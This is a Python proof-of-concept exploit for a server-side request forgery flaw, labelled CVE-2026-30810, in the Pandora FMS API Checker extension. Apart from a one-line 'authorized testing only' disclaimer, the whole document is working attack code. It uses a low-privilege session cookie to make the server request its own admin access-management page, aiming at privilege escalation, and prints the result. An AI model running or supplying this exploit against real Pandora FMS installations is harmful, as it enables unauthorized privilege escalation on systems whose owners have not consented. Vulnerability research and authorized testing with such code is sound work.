The following code is for security research and authorized testing only.
python
import requests
def exploit_poc(target_url, session_cookie):
"""
PoC for CVE-2026-30810: SSRF in Pandora FMS API Checker
"""
# The endpoint for the API Checker extension
api_checker_url = f"{target_url}/pandora_console/index.php?sec=extensions&sec2=extensions/api_checker"
# Internal target to access (e.g., local admin panel or metadata service)
# Adjust this payload based on the specific internal endpoint that grants privilege escalation
ssrf_payload = "http://127.0.0.1/pandora_console/index.php?sec=workspace&sec2=godmode/admin_access/manage"
headers = {
"Cookie": f"PHPSESSID={session_cookie}"
}
data = {
"url": ssrf_payload,
"submit": "Check"
}
try:
print(f"[*] Sending SSRF request to {target_url}...")
response = requests.post(api_checker_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check if privilege escalation occurred.")
print("[+] Response snippet:")
print(response.text[:500])
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace with actual target and low-priv session
TARGET = "http://192.168.1.100"
SESSION = "attacker_session_id_here"
exploit_poc(TARGET, SESSION)